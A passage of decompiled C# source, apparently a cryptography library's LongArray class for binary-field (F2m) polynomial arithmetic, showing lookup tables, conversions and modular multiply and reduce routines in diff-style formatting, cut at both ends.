1073774624, 1073774625, 1073775616, 1073775617, 1073775648, 1073775649, - 1074790400, 1074790401, 1074790432, 1074790433, 1074791424, 1074791425, 1074791456, 1074791457, 1074823168, 1074823169, - 1074823200, 1074823201, 1074824192, 1074824193, 1074824224, 1074824225, 1107296256, 1107296257, 1107296288, 1107296289, - 1107297280, 1107297281, 1107297312, 1107297313, 1107329024, 1107329025, 1107329056, 1107329057, 1107330048, 1107330049, - 1107330080, 1107330081, 1108344832, 1108344833, 1108344864, 1108344865, 1108345856, 1108345857, 1108345888, 1108345889, - 1108377600, 1108377601, 1108377632, 1108377633, 1108378624, 1108378625, 1108378656, 1108378657 - }; - - private static readonly long[] INTERLEAVE7_TABLE = new long[512] - { - 0L, 1L, 128L, 129L, 16384L, 16385L, 16512L, 16513L, 2097152L, 2097153L, - 2097280L, 2097281L, 2113536L, 2113537L, 2113664L, 2113665L, 268435456L, 268435457L, 268435584L, 268435585L, - 268451840L, 268451841L, 268451968L, 268451969L, 270532608L, 270532609L, 270532736L, 270532737L, 270548992L, 270548993L, - 270549120L, 270549121L, 34359738368L, 34359738369L, 34359738496L, 34359738497L, 34359754752L, 34359754753L, 34359754880L, 34359754881L, - 34361835520L, 34361835521L, 34361835648L, 34361835649L, 34361851904L, 34361851905L, 34361852032L, 34361852033L, 34628173824L, 34628173825L, - 34628173952L, 34628173953L, 34628190208L, 34628190209L, 34628190336L, 34628190337L, 34630270976L, 34630270977L, 34630271104L, 34630271105L, - 34630287360L, 34630287361L, 34630287488L, 34630287489L, 4398046511104L, 4398046511105L, 4398046511232L, 4398046511233L, 4398046527488L, 4398046527489L, - 4398046527616L, 4398046527617L, 4398048608256L, 4398048608257L, 4398048608384L, 4398048608385L, 4398048624640L, 4398048624641L, 4398048624768L, 4398048624769L, - 4398314946560L, 4398314946561L, 4398314946688L, 4398314946689L, 4398314962944L, 4398314962945L, 4398314963072L, 4398314963073L, 4398317043712L, 4398317043713L, - 4398317043840L, 4398317043841L, 4398317060096L, 4398317060097L, 4398317060224L, 4398317060225L, 4432406249472L, 4432406249473L, 4432406249600L, 4432406249601L, - 4432406265856L, 4432406265857L, 4432406265984L, 4432406265985L, 4432408346624L, 4432408346625L, 4432408346752L, 4432408346753L, 4432408363008L, 4432408363009L, - 4432408363136L, 4432408363137L, 4432674684928L, 4432674684929L, 4432674685056L, 4432674685057L, 4432674701312L, 4432674701313L, 4432674701440L, 4432674701441L, - 4432676782080L, 4432676782081L, 4432676782208L, 4432676782209L, 4432676798464L, 4432676798465L, 4432676798592L, 4432676798593L, 562949953421312L, 562949953421313L, - 562949953421440L, 562949953421441L, 562949953437696L, 562949953437697L, 562949953437824L, 562949953437825L, 562949955518464L, 562949955518465L, 562949955518592L, 562949955518593L, - 562949955534848L, 562949955534849L, 562949955534976L, 562949955534977L, 562950221856768L, 562950221856769L, 562950221856896L, 562950221856897L, 562950221873152L, 562950221873153L, - 562950221873280L, 562950221873281L, 562950223953920L, 562950223953921L, 562950223954048L, 562950223954049L, 562950223970304L, 562950223970305L, 562950223970432L, 562950223970433L, - 562984313159680L, 562984313159681L, 562984313159808L, 562984313159809L, 562984313176064L, 562984313176065L, 562984313176192L, 562984313176193L, 562984315256832L, 562984315256833L, - 562984315256960L, 562984315256961L, 562984315273216L, 562984315273217L, 562984315273344L, 562984315273345L, 562984581595136L, 562984581595137L, 562984581595264L, 562984581595265L, - 562984581611520L, 562984581611521L, 562984581611648L, 562984581611649L, 562984583692288L, 562984583692289L, 562984583692416L, 562984583692417L, 562984583708672L, 562984583708673L, - 562984583708800L, 562984583708801L, 567347999932416L, 567347999932417L, 567347999932544L, 567347999932545L, 567347999948800L, 567347999948801L, 567347999948928L, 567347999948929L, - 567348002029568L, 567348002029569L, 567348002029696L, 567348002029697L, 567348002045952L, 567348002045953L, 567348002046080L, 567348002046081L, 567348268367872L, 567348268367873L, - 567348268368000L, 567348268368001L, 567348268384256L, 567348268384257L, 567348268384384L, 567348268384385L, 567348270465024L, 567348270465025L, 567348270465152L, 567348270465153L, - 567348270481408L, 567348270481409L, 567348270481536L, 567348270481537L, 567382359670784L, 567382359670785L, 567382359670912L, 567382359670913L, 567382359687168L, 567382359687169L, - 567382359687296L, 567382359687297L, 567382361767936L, 567382361767937L, 567382361768064L, 567382361768065L, 567382361784320L, 567382361784321L, 567382361784448L, 567382361784449L, - 567382628106240L, 567382628106241L, 567382628106368L, 567382628106369L, 567382628122624L, 567382628122625L, 567382628122752L, 567382628122753L, 567382630203392L, 567382630203393L, - 567382630203520L, 567382630203521L, 567382630219776L, 567382630219777L, 567382630219904L, 567382630219905L, 72057594037927936L, 72057594037927937L, 72057594037928064L, 72057594037928065L, - 72057594037944320L, 72057594037944321L, 72057594037944448L, 72057594037944449L, 72057594040025088L, 72057594040025089L, 72057594040025216L, 72057594040025217L, 72057594040041472L, 72057594040041473L, - 72057594040041600L, 72057594040041601L, 72057594306363392L, 72057594306363393L, 72057594306363520L, 72057594306363521L, 72057594306379776L, 72057594306379777L, 72057594306379904L, 72057594306379905L, - 72057594308460544L, 72057594308460545L, 72057594308460672L, 72057594308460673L, 72057594308476928L, 72057594308476929L, 72057594308477056L, 72057594308477057L, 72057628397666304L, 72057628397666305L, - 72057628397666432L, 72057628397666433L, 72057628397682688L, 72057628397682689L, 72057628397682816L, 72057628397682817L, 72057628399763456L, 72057628399763457L, 72057628399763584L, 72057628399763585L, - 72057628399779840L, 72057628399779841L, 72057628399779968L, 72057628399779969L, 72057628666101760L, 72057628666101761L, 72057628666101888L, 72057628666101889L, 72057628666118144L, 72057628666118145L, - 72057628666118272L, 72057628666118273L, 72057628668198912L, 72057628668198913L, 72057628668199040L, 72057628668199041L, 72057628668215296L, 72057628668215297L, 72057628668215424L, 72057628668215425L, - 72061992084439040L, 72061992084439041L, 72061992084439168L, 72061992084439169L, 72061992084455424L, 72061992084455425L, 72061992084455552L, 72061992084455553L, 72061992086536192L, 72061992086536193L, - 72061992086536320L, 72061992086536321L, 72061992086552576L, 72061992086552577L, 72061992086552704L, 72061992086552705L, 72061992352874496L, 72061992352874497L, 72061992352874624L, 72061992352874625L, - 72061992352890880L, 72061992352890881L, 72061992352891008L, 72061992352891009L, 72061992354971648L, 72061992354971649L, 72061992354971776L, 72061992354971777L, 72061992354988032L, 72061992354988033L, - 72061992354988160L, 72061992354988161L, 72062026444177408L, 72062026444177409L, 72062026444177536L, 72062026444177537L, 72062026444193792L, 72062026444193793L, 72062026444193920L, 72062026444193921L, - 72062026446274560L, 72062026446274561L, 72062026446274688L, 72062026446274689L, 72062026446290944L, 72062026446290945L, 72062026446291072L, 72062026446291073L, 72062026712612864L, 72062026712612865L, - 72062026712612992L, 72062026712612993L, 72062026712629248L, 72062026712629249L, 72062026712629376L, 72062026712629377L, 72062026714710016L, 72062026714710017L, 72062026714710144L, 72062026714710145L, - 72062026714726400L, 72062026714726401L, 72062026714726528L, 72062026714726529L, 72620543991349248L, 72620543991349249L, 72620543991349376L, 72620543991349377L, 72620543991365632L, 72620543991365633L, - 72620543991365760L, 72620543991365761L, 72620543993446400L, 72620543993446401L, 72620543993446528L, 72620543993446529L, 72620543993462784L, 72620543993462785L, 72620543993462912L, 72620543993462913L, - 72620544259784704L, 72620544259784705L, 72620544259784832L, 72620544259784833L, 72620544259801088L, 72620544259801089L, 72620544259801216L, 72620544259801217L, 72620544261881856L, 72620544261881857L, - 72620544261881984L, 72620544261881985L, 72620544261898240L, 72620544261898241L, 72620544261898368L, 72620544261898369L, 72620578351087616L, 72620578351087617L, 72620578351087744L, 72620578351087745L, - 72620578351104000L, 72620578351104001L, 72620578351104128L, 72620578351104129L, 72620578353184768L, 72620578353184769L, 72620578353184896L, 72620578353184897L, 72620578353201152L, 72620578353201153L, - 72620578353201280L, 72620578353201281L, 72620578619523072L, 72620578619523073L, 72620578619523200L, 72620578619523201L, 72620578619539456L, 72620578619539457L, 72620578619539584L, 72620578619539585L, - 72620578621620224L, 72620578621620225L, 72620578621620352L, 72620578621620353L, 72620578621636608L, 72620578621636609L, 72620578621636736L, 72620578621636737L, 72624942037860352L, 72624942037860353L, - 72624942037860480L, 72624942037860481L, 72624942037876736L, 72624942037876737L, 72624942037876864L, 72624942037876865L, 72624942039957504L, 72624942039957505L, 72624942039957632L, 72624942039957633L, - 72624942039973888L, 72624942039973889L, 72624942039974016L, 72624942039974017L, 72624942306295808L, 72624942306295809L, 72624942306295936L, 72624942306295937L, 72624942306312192L, 72624942306312193L, - 72624942306312320L, 72624942306312321L, 72624942308392960L, 72624942308392961L, 72624942308393088L, 72624942308393089L, 72624942308409344L, 72624942308409345L, 72624942308409472L, 72624942308409473L, - 72624976397598720L, 72624976397598721L, 72624976397598848L, 72624976397598849L, 72624976397615104L, 72624976397615105L, 72624976397615232L, 72624976397615233L, 72624976399695872L, 72624976399695873L, - 72624976399696000L, 72624976399696001L, 72624976399712256L, 72624976399712257L, 72624976399712384L, 72624976399712385L, 72624976666034176L, 72624976666034177L, 72624976666034304L, 72624976666034305L, - 72624976666050560L, 72624976666050561L, 72624976666050688L, 72624976666050689L, 72624976668131328L, 72624976668131329L, 72624976668131456L, 72624976668131457L, 72624976668147712L, 72624976668147713L, - 72624976668147840L, 72624976668147841L - }; - - internal static readonly byte[] BitLengths = new byte[256] - { - 0, 1, 2, 2, 3, 3, 3, 3, 4, 4, - 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, - 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, - 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 7, 7, - 7, 7, 7, 7, 7, 7, 7, 7, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, - 8, 8, 8, 8, 8, 8 - }; - - private long[] m_ints; - - public int Length => m_ints.Length; - - public LongArray(int intLen) - { - m_ints = new long[intLen]; - } - - public LongArray(long[] ints) - { - m_ints = ints; - } - - public LongArray(long[] ints, int off, int len) - { - if (off == 0 && len == ints.Length) - { - m_ints = ints; - return; - } - m_ints = new long[len]; - Array.Copy(ints, off, m_ints, 0, len); - } - - public LongArray(BigInteger bigInt) - { - if (bigInt == null || bigInt.SignValue < 0) - { - throw new ArgumentException("invalid F2m field value", "bigInt"); - } - if (bigInt.SignValue == 0) - { - long[] ints = new long[1]; - m_ints = ints; - return; - } - byte[] array = bigInt.ToByteArray(); - int num = array.Length; - int num2 = 0; - if (array[0] == 0) - { - num--; - num2 = 1; - } - int num3 = (num + 7) / 8; - m_ints = new long[num3]; - int num4 = num3 - 1; - int num5 = num % 8 + num2; - long num6 = 0L; - int i = num2; - if (num2 < num5) - { - for (; i < num5; i++) - { - num6 <<= 8; - uint num7 = array[i]; - num6 |= num7; - } - m_ints[num4--] = num6; - } - while (num4 >= 0) - { - num6 = 0L; - for (int j = 0; j < 8; j++) - { - num6 <<= 8; - uint num8 = array[i++]; - num6 |= num8; - } - m_ints[num4] = num6; - num4--; - } - } - - internal void CopyTo(long[] z, int zOff) - { - Array.Copy(m_ints, 0, z, zOff, m_ints.Length); - } - - public bool IsOne() - { - long[] ints = m_ints; - if (ints[0] != 1) - { - return false; - } - for (int i = 1; i < ints.Length; i++) - { - if (ints[i] != 0) - { - return false; - } - } - return true; - } - - public bool IsZero() - { - long[] ints = m_ints; - for (int i = 0; i < ints.Length; i++) - { - if (ints[i] != 0) - { - return false; - } - } - return true; - } - - public int GetUsedLength() - { - return GetUsedLengthFrom(m_ints.Length); - } - - public int GetUsedLengthFrom(int from) - { - long[] ints = m_ints; - from = System.Math.Min(from, ints.Length); - if (from < 1) - { - return 0; - } - if (ints[0] != 0) - { - while (ints[--from] == 0) - { - } - return from + 1; - } - do - { - if (ints[--from] != 0) - { - return from + 1; - } - } - while (from > 0); - return 0; - } - - public int Degree() - { - int num = m_ints.Length; - long num2; - do - { - if (num == 0) - { - return 0; - } - num2 = m_ints[--num]; - } - while (num2 == 0); - return (num << 6) + BitLength(num2); - } - - private int DegreeFrom(int limit) - { - int num = limit + 62 >>> 6; - long num2; - do - { - if (num == 0) - { - return 0; - } - num2 = m_ints[--num]; - } - while (num2 == 0); - return (num << 6) + BitLength(num2); - } - - private static int BitLength(long w) - { - int num = (int)(w >>> 32); - int num2; - if (num == 0) - { - num = (int)w; - num2 = 0; - } - else - { - num2 = 32; - } - int num3 = num >>> 16; - int num4; - if (num3 == 0) - { - num3 = num >>> 8; - num4 = ((num3 == 0) ? BitLengths[num] : (8 + BitLengths[num3])); - } - else - { - int num5 = num3 >>> 8; - num4 = ((num5 == 0) ? (16 + BitLengths[num3]) : (24 + BitLengths[num5])); - } - return num2 + num4; - } - - private long[] ResizedInts(int newLen) - { - long[] array = new long[newLen]; - Array.Copy(m_ints, 0, array, 0, System.Math.Min(m_ints.Length, newLen)); - return array; - } - - public BigInteger ToBigInteger() - { - int usedLength = GetUsedLength(); - if (usedLength == 0) - { - return BigInteger.Zero; - } - long num = m_ints[usedLength - 1]; - byte[] array = new byte[8]; - int num2 = 0; - bool flag = false; - for (int num3 = 7; num3 >= 0; num3--) - { - byte b = (byte)((ulong)num >> 8 * num3); - if (flag || b != 0) - { - flag = true; - array[num2++] = b; - } - } - int num4 = 8 * (usedLength - 1) + num2; - byte[] array2 = new byte[num4]; - for (int i = 0; i < num2; i++) - { - array2[i] = array[i]; - } - for (int num5 = usedLength - 2; num5 >= 0; num5--) - { - long num6 = m_ints[num5]; - for (int num7 = 7; num7 >= 0; num7--) - { - array2[num2++] = (byte)((ulong)num6 >> 8 * num7); - } - } - return new BigInteger(1, array2); - } - - private static long ShiftUp(long[] x, int xOff, int count, int shift) - { - int num = 64 - shift; - long num2 = 0L; - for (int i = 0; i < count; i++) - { - long num3 = x[xOff + i]; - x[xOff + i] = (num3 << shift) | num2; - num2 = num3 >>> num; - } - return num2; - } - - private static long ShiftUp(long[] x, int xOff, long[] z, int zOff, int count, int shift) - { - int num = 64 - shift; - long num2 = 0L; - for (int i = 0; i < count; i++) - { - long num3 = x[xOff + i]; - z[zOff + i] = (num3 << shift) | num2; - num2 = num3 >>> num; - } - return num2; - } - - public LongArray AddOne() - { - if (m_ints.Length == 0) - { - return new LongArray(new long[1] { 1L }); - } - int newLen = System.Math.Max(1, GetUsedLength()); - long[] array = ResizedInts(newLen); - long[] array2; - (array2 = array)[0] = array2[0] ^ 1; - return new LongArray(array); - } - - private void AddShiftedByBitsSafe(LongArray other, int otherDegree, int bits) - { - int num = otherDegree + 63 >>> 6; - int num2 = bits >>> 6; - int num3 = bits & 0x3F; - if (num3 == 0) - { - Add(m_ints, num2, other.m_ints, 0, num); - return; - } - long num4 = AddShiftedUp(m_ints, num2, other.m_ints, 0, num, num3); - if (num4 != 0) - { - long[] ints; - long[] array = (ints = m_ints); - int num5 = num + num2; - nint num6 = num5; - array[num5] = ints[num6] ^ num4; - } - } - - private static long AddShiftedUp(long[] x, int xOff, long[] y, int yOff, int count, int shift) - { - int num = 64 - shift; - long num2 = 0L; - for (int i = 0; i < count; i++) - { - long num3 = y[yOff + i]; - long[] array2; - long[] array = (array2 = x); - int num4 = xOff + i; - nint num5 = num4; - array[num4] = array2[num5] ^ ((num3 << shift) | num2); - num2 = num3 >>> num; - } - return num2; - } - - private static long AddShiftedDown(long[] x, int xOff, long[] y, int yOff, int count, int shift) - { - int num = 64 - shift; - long num2 = 0L; - int num3 = count; - while (--num3 >= 0) - { - long num4 = y[yOff + num3]; - long[] array2; - long[] array = (array2 = x); - int num5 = xOff + num3; - nint num6 = num5; - array[num5] = array2[num6] ^ ((num4 >>> shift) | num2); - num2 = num4 << num; - } - return num2; - } - - public void AddShiftedByWords(LongArray other, int words) - { - int usedLength = other.GetUsedLength(); - if (usedLength != 0) - { - int num = usedLength + words; - if (num > m_ints.Length) - { - m_ints = ResizedInts(num); - } - Add(m_ints, words, other.m_ints, 0, usedLength); - } - } - - private static void Add(long[] x, int xOff, long[] y, int yOff, int count) - { - for (int i = 0; i < count; i++) - { - long[] array2; - long[] array = (array2 = x); - int num = xOff + i; - nint num2 = num; - array[num] = array2[num2] ^ y[yOff + i]; - } - } - - private static void Add(long[] x, int xOff, long[] y, int yOff, long[] z, int zOff, int count) - { - for (int i = 0; i < count; i++) - { - z[zOff + i] = x[xOff + i] ^ y[yOff + i]; - } - } - - private static void AddBoth(long[] x, int xOff, long[] y1, int y1Off, long[] y2, int y2Off, int count) - { - for (int i = 0; i < count; i++) - { - long[] array2; - long[] array = (array2 = x); - int num = xOff + i; - nint num2 = num; - array[num] = array2[num2] ^ (y1[y1Off + i] ^ y2[y2Off + i]); - } - } - - private static void Distribute(long[] x, int src, int dst1, int dst2, int count) - { - for (int i = 0; i < count; i++) - { - long num = x[src + i]; - long[] array2; - long[] array = (array2 = x); - int num2 = dst1 + i; - nint num3 = num2; - array[num2] = array2[num3] ^ num; - long[] array3 = (array2 = x); - int num4 = dst2 + i; - num3 = num4; - array3[num4] = array2[num3] ^ num; - } - } - - private static void FlipWord(long[] buf, int off, int bit, long word) - { - int num = off + (bit >>> 6); - int num2 = bit & 0x3F; - long[] array2; - nint num4; - if (num2 == 0) - { - long[] array = (array2 = buf); - int num3 = num; - num4 = num3; - array[num3] = array2[num4] ^ word; - return; - } - long[] array3 = (array2 = buf); - int num5 = num; - num4 = num5; - array3[num5] = array2[num4] ^ (word << num2); - word >>>= 64 - num2; - if (word != 0) - { - long[] array4 = (array2 = buf); - int num6 = ++num; - num4 = num6; - array4[num6] = array2[num4] ^ word; - } - } - - public bool TestBitZero() - { - if (m_ints.Length > 0) - { - return (m_ints[0] & 1) != 0; - } - return false; - } - - private static bool TestBit(long[] buf, int off, int n) - { - int num = n >>> 6; - int num2 = n & 0x3F; - long num3 = 1L << num2; - return (buf[off + num] & num3) != 0; - } - - private static void FlipBit(long[] buf, int off, int n) - { - int num = n >>> 6; - int num2 = n & 0x3F; - long num3 = 1L << num2; - long[] array2; - long[] array = (array2 = buf); - int num4 = off + num; - nint num5 = num4; - array[num4] = array2[num5] ^ num3; - } - - private static void MultiplyWord(long a, long[] b, int bLen, long[] c, int cOff) - { - if ((a & 1) != 0) - { - Add(c, cOff, b, 0, bLen); - } - int num = 1; - while ((a >>>= 1) != 0) - { - if ((a & 1) != 0) - { - long num2 = AddShiftedUp(c, cOff, b, 0, bLen, num); - if (num2 != 0) - { - long[] array2; - long[] array = (array2 = c); - int num3 = cOff + bLen; - nint num4 = num3; - array[num3] = array2[num4] ^ num2; - } - } - num++; - } - } - - public LongArray ModMultiplyLD(LongArray other, int m, int[] ks) - { - int num = Degree(); - if (num == 0) - { - return this; - } - int num2 = other.Degree(); - if (num2 == 0) - { - return other; - } - LongArray longArray = this; - LongArray longArray2 = other; - if (num > num2) - { - longArray = other; - longArray2 = this; - int num3 = num; - num = num2; - num2 = num3; - } - int num4 = num + 63 >>> 6; - int num5 = num2 + 63 >>> 6; - int num6 = num + num2 + 62 >>> 6; - if (num4 == 1) - { - long num7 = longArray.m_ints[0]; - if (num7 == 1) - { - return longArray2; - } - long[] array = new long[num6]; - MultiplyWord(num7, longArray2.m_ints, num5, array, 0); - return ReduceResult(array, 0, num6, m, ks); - } - int num8 = num2 + 7 + 63 >>> 6; - int[] array2 = new int[16]; - long[] array3 = new long[num8 << 4]; - int num9 = (array2[1] = num8); - Array.Copy(longArray2.m_ints, 0, array3, num9, num5); - for (int i = 2; i < 16; i++) - { - num9 = (array2[i] = num9 + num8); - if ((i & 1) == 0) - { - ShiftUp(array3, num9 >>> 1, array3, num9, num8, 1); - } - else - { - Add(array3, num8, array3, num9 - num8, array3, num9, num8); - } - } - long[] array4 = new long[array3.Length]; - ShiftUp(array3, 0, array4, 0, array3.Length, 4); - long[] ints = longArray.m_ints; - long[] array5 = new long[num6]; - int num10 = 15; - for (int num11 = 56; num11 >= 0; num11 -= 8) - { - for (int j = 1; j < num4; j += 2) - { - int num12 = (int)(ints[j] >>> num11); - int num13 = num12 & num10; - int num14 = (num12 >>> 4) & num10; - AddBoth(array5, j - 1, array3, array2[num13], array4, array2[num14], num8); - } - ShiftUp(array5, 0, num6, 8); - } - for (int num15 = 56; num15 >= 0; num15 -= 8) - { - for (int k = 0; k < num4; k += 2) - { - int num16 = (int)(ints[k] >>> num15); - int num17 = num16 & num10; - int num18 = (num16 >>> 4) & num10; - AddBoth(array5, k, array3, array2[num17], array4, array2[num18], num8); - } - if (num15 > 0) - { - ShiftUp(array5, 0, num6, 8); - } - } - return ReduceResult(array5, 0, num6, m, ks); - } - - public LongArray ModMultiply(LongArray other, int m, int[] ks) - { - int num = Degree(); - if (num == 0) - { - return this; - } - int num2 = other.Degree(); - if (num2 == 0) - { - return other; - } - LongArray longArray = this; - LongArray longArray2 = other; - if (num > num2) - { - longArray = other; - longArray2 = this; - int num3 = num; - num = num2; - num2 = num3; - } - int num4 = num + 63 >>> 6; - int num5 = num2 + 63 >>> 6; - int num6 = num + num2 + 62 >>> 6; - if (num4 == 1) - { - long num7 = longArray.m_ints[0]; - if (num7 == 1) - { - return longArray2; - } - long[] array = new long[num6]; - MultiplyWord(num7, longArray2.m_ints, num5, array, 0); - return ReduceResult(array, 0, num6, m, ks); - } - int num8 = num2 + 7 + 63 >>> 6; - int[] array2 = new int[16]; - long[] array3 = new long[num8 << 4]; - int num9 = (array2[1] = num8); - Array.Copy(longArray2.m_ints, 0, array3, num9, num5); - for (int i = 2; i < 16; i++) - { - num9 = (array2[i] = num9 + num8); - if ((i & 1) == 0) - { - ShiftUp(array3, num9 >>> 1, array3, num9, num8, 1); - } - else - { - Add(array3, num8, array3, num9 - num8, array3, num9, num8); - } - } - long[] array4 = new long[array3.Length]; - ShiftUp(array3, 0, array4, 0, array3.Length, 4); - long[] ints = longArray.m_ints; - long[] array5 = new long[num6 << 3]; - int num10 = 15; - for (int j = 0; j < num4; j++) - { - long num11 = ints[j]; - int num12 = j; - while (true) - { - int num13 = (int)num11 & num10; - num11 >>>= 4; - int num14 = (int)num11 & num10; - AddBoth(array5, num12, array3, array2[num13], array4, array2[num14], num8); - num11 >>>= 4; - if (num11 == 0) - { - break; - } - num12 += num6; - } - } - int num15 = array5.Length; - while ((num15 -= num6) != 0) - { - AddShiftedUp(array5, num15 - num6, array5, num15, num6, 8); - } - return ReduceResult(array5, 0, num6, m, ks); - } - - public LongArray ModMultiplyAlt(LongArray other, int m, int[] ks) - { - int num = Degree(); - if (num == 0) - { - return this; - } - int num2 = other.Degree(); - if (num2 == 0) - { - return other; - } - LongArray longArray = this; - LongArray longArray2 = other; - if (num > num2) - { - longArray = other; - longArray2 = this; - int num3 = num; - num = num2; - num2 = num3; - } - int num4 = num + 63 >>> 6; - int num5 = num2 + 63 >>> 6; - int num6 = num + num2 + 62 >>> 6; - if (num4 == 1) - { - long num7 = longArray.m_ints[0]; - if (num7 == 1) - { - return longArray2; - } - long[] array = new long[num6]; - MultiplyWord(num7, longArray2.m_ints, num5, array, 0); - return ReduceResult(array, 0, num6, m, ks); - } - int num8 = 4; - int num9 = 16; - int num10 = 64; - int num11 = 8; - int num12 = ((num10 < 64) ? num9 : (num9 - 1)); - int num13 = num2 + num12 + 63 >>> 6; - int num14 = num13 * num11; - int num15 = num8 * num11; - int[] array2 = new int[1 << num8]; - int num16 = (array2[1] = (array2[0] = num4) + num14); - for (int i = 2; i < array2.Length; i++) - { - num16 = (array2[i] = num16 + num6); - } - num16 += num6; - num16++; - long[] array3 = new long[num16]; - Interleave(longArray.m_ints, 0, array3, 0, num4, num8); - int num17 = num4; - Array.Copy(longArray2.m_ints, 0, array3, num17, num5); - for (int j = 1; j < num11; j++) - { - ShiftUp(array3, num4, array3, num17 += num13, num13, j); - } - int num18 = (1 << num8) - 1; - int num19 = 0; - while (true) - { - int num20 = 0; - do - { - long num21 = array3[num20] >>> num19; - int num22 = 0; - int num23 = num4; - while (true) - { - int num24 = (int)num21 & num18; - if (num24 != 0) - { - Add(array3, num20 + array2[num24], array3, num23, num13); - } - if (++num22 == num11) - { - break; - } - num23 += num13; - num21 >>>= num8; - } - } - while (++num20 < num4); - if ((num19 += num15) >= num10) - { - if (num19 >= 64) - { - break; - } - num19 = 64 - num8; - num18 &= num18 << num10 - num19; - } - ShiftUp(array3, num4, num14, num11); - } - int num25 = array2.Length; - while (--num25 > 1) - { - if (((ulong)num25 & 1uL) == 0) - { - AddShiftedUp(array3, array2[num25 >>> 1], array3, array2[num25], num6, num9); - } - else - { - Distribute(array3, array2[num25], array2[num25 - 1], array2[1], num6); - } - } - return ReduceResult(array3, array2[1], num6, m, ks); - } - - public LongArray ModReduce(int m, int[] ks) - { - long[] array = Arrays.Clone(m_ints); - int len = ReduceInPlace(array, 0, array.Length, m, ks); - return new LongArray(array, 0, len); - } - - public LongArray Multiply(LongArray other, int m, int[] ks) - { - int num = Degree(); - if (num == 0) - { - return this; - } - int num2 = other.Degree(); - if (num2 == 0) - { - return other; - } - LongArray longArray = this; - LongArray longArray2 = other; - if (num > num2) - { - longArray = other; - longArray2 = this; - int num3 = num; - num = num2; - num2 = num3; - } - int num4 = num + 63 >>> 6; - int num5 = num2 + 63 >>> 6; - int num6 = num + num2 + 62 >>> 6; - if (num4 == 1) - { - long num7 = longArray.m_ints[0]; - if (num7 == 1) - { - return longArray2; - } - long[] array = new long[num6]; - MultiplyWord(num7, longArray2.m_ints, num5, array, 0); - return new LongArray(array, 0, num6); - } - int num8 = num2 + 7 + 63 >>> 6; - int[] array2 = new int[16]; - long[] array3 = new long[num8 << 4]; - int num9 = (array2[1] = num8); - Array.Copy(longArray2.m_ints, 0, array3, num9, num5); - for (int i = 2; i < 16; i++) - { - num9 = (array2[i] = num9 + num8); - if ((i & 1) == 0) - { - ShiftUp(array3, num9 >>> 1, array3, num9, num8, 1); - } - else - { - Add(array3, num8, array3, num9 - num8, array3, num9, num8); - } - } - long[] array4 = new long[array3.Length]; - ShiftUp(array3, 0, array4, 0, array3.Length, 4); - long[] ints = longArray.m_ints; - long[] array5 = new long[num6 << 3]; - int num10 = 15; - for (int j = 0; j < num4; j++) - { - long num11 = ints[j]; - int num12 = j; - while (true) - { - int num13 = (int)num11 & num10; - num11 >>>= 4; - int num14 = (int)num11 & num10; - AddBoth(array5, num12, array3, array2[num13], array4, array2[num14], num8); - num11 >>>= 4; - if (num11 == 0) - { - break; - } - num12 += num6; - } - } - int num15 = array5.Length; - while ((num15 -= num6) != 0) - { - AddShiftedUp(array5, num15 - num6, array5, num15, num6, 8); - } - return new LongArray(array5, 0, num6); - } - - public void Reduce(int m, int[] ks) - { - long[] ints = m_ints; - int num = ReduceInPlace(ints, 0, ints.Length, m, ks); - if (num < ints.Length) - { - m_ints = new long[num]; - Array.Copy(ints, 0, m_ints, 0, num); - } - } - - private static LongArray ReduceResult(long[] buf, int off, int len, int m, int[] ks) - { - int len2 = ReduceInPlace(buf, off, len, m, ks); - return new LongArray(buf, off, len2); - } - - private static int ReduceInPlace(long[] buf, int off, int len, int m, int[] ks) - { - int num = m + 63 >> 6; - if (len < num) - { - return len; - } - int num2 = System.Math.Min(len << 6, (m << 1) - 1); - int num3; - for (num3 = (len << 6) - num2; num3 >= 64; num3 -= 64) - { - len--; - } - int num4 = ks.Length; - int num5 = ks[num4 - 1]; - int num6 = ((num4 > 1) ? ks[num4 - 2] : 0); - int num7 = System.Math.Max(m, num5 + 64); - int num8 = num3 + System.Math.Min(num2 - num7, m - num6) >> 6; - if (num8 > 1) - { - int num9 = len - num8; - ReduceVectorWise(buf, off, len, num9, m, ks); - while (len > num9) - { - buf[off + --len] = 0L; - } - num2 = num9 << 6; - } - if (num2 > num7) - { - ReduceWordWise(buf, off, len, num7, m, ks); - num2 = num7; - } - if (num2 > m) - { - ReduceBitWise(buf, off, num2, m, ks); - } - return num; - } - - private static void ReduceBitWise(long[] buf, int off, int BitLength, int m, int[] ks) - { - while (--BitLength >= m) - { - if (TestBit(buf, off, BitLength)) - { - ReduceBit(buf, off, BitLength, m, ks); - } - } - } - - private static void ReduceBit(long[] buf, int off, int bit, int m, int[] ks) - { - FlipBit(buf, off, bit); - int num = bit - m; - int num2 = ks.Length; - while (--num2 >= 0) - { - FlipBit(buf, off, ks[num2] + num); - } - FlipBit(buf, off, num); - } - - private static void ReduceWordWise(long[] buf, int off, int len, int toBit, int m, int[] ks) - { - int num = toBit >>> 6; - while (--len > num) - { - long num2 = buf[off + len]; - if (num2 != 0) - { - buf[off + len] = 0L; - ReduceWord(buf, off, len << 6, num2, m, ks); - } - } - int num3 = toBit & 0x3F; - long num4 = buf[off + num] >>> num3; - if (num4 != 0) - { - long[] array2; - long[] array = (array2 = buf); - int num5 = off + num; - nint num6 